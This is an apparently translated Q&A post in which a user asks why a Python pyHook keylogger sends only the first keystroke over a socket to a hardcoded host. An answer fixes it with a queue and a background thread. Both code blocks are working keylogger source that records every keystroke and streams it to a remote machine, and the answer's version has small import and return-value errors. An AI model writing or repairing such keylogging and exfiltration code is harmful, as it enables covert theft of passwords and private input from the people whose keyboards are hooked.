将套接字添加到键盘记录器

时间:2018-04-23 21:25:48

标签: python sockets keylogger

为了有趣的目的,我正在建立一个键盘记录器。我想要的是键盘记录器将像聊天客户端一样,并将每个击键发送给另一方。但是,当我尝试这样做时,它只发送我按下的第一个键,而不是其后的其他键。

import socket
import pythoncom
import pyHook




HOST = "192.168.2.103"
PORT = 5000

s = socket.socket()
s.connect((HOST, PORT ))


def OnKeyboardEvent(event):
  global s
  keylog = chr(event.Ascii)
  s.send(keylog.encode("utf-8"))
  return True



h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:1)

the tutorial中所述:

  

如果回调函数未及时返回,则事件将自动沿着钩子回调链转发,如果没有其他回调阻止它,则转发到目标窗口。因此,应该在回调中进行尽可能少的处理。相反,回调应该将事件添加到队列中以供应用程序稍后处理,并快速决定是否阻止该消息。

调用socket.send可能会阻止。它可以很容易地阻止PyHook中止你的钩子,或者只是为了将来的调用而禁用它。要修复它,请完全按照文档说的做。例如(未经测试,但至少应该是一个足以让你入门的例子):

import queue
import socket
import thread

import pythoncom
import pyHook

q = queue.Queue()

HOST = "192.168.2.103"
PORT = 5000

def background():
    s = socket.socket()
    s.connect((HOST, PORT))
    while True:
        msg = q.get()
        s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    q.put(keylog.encode("utf-8"))

h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()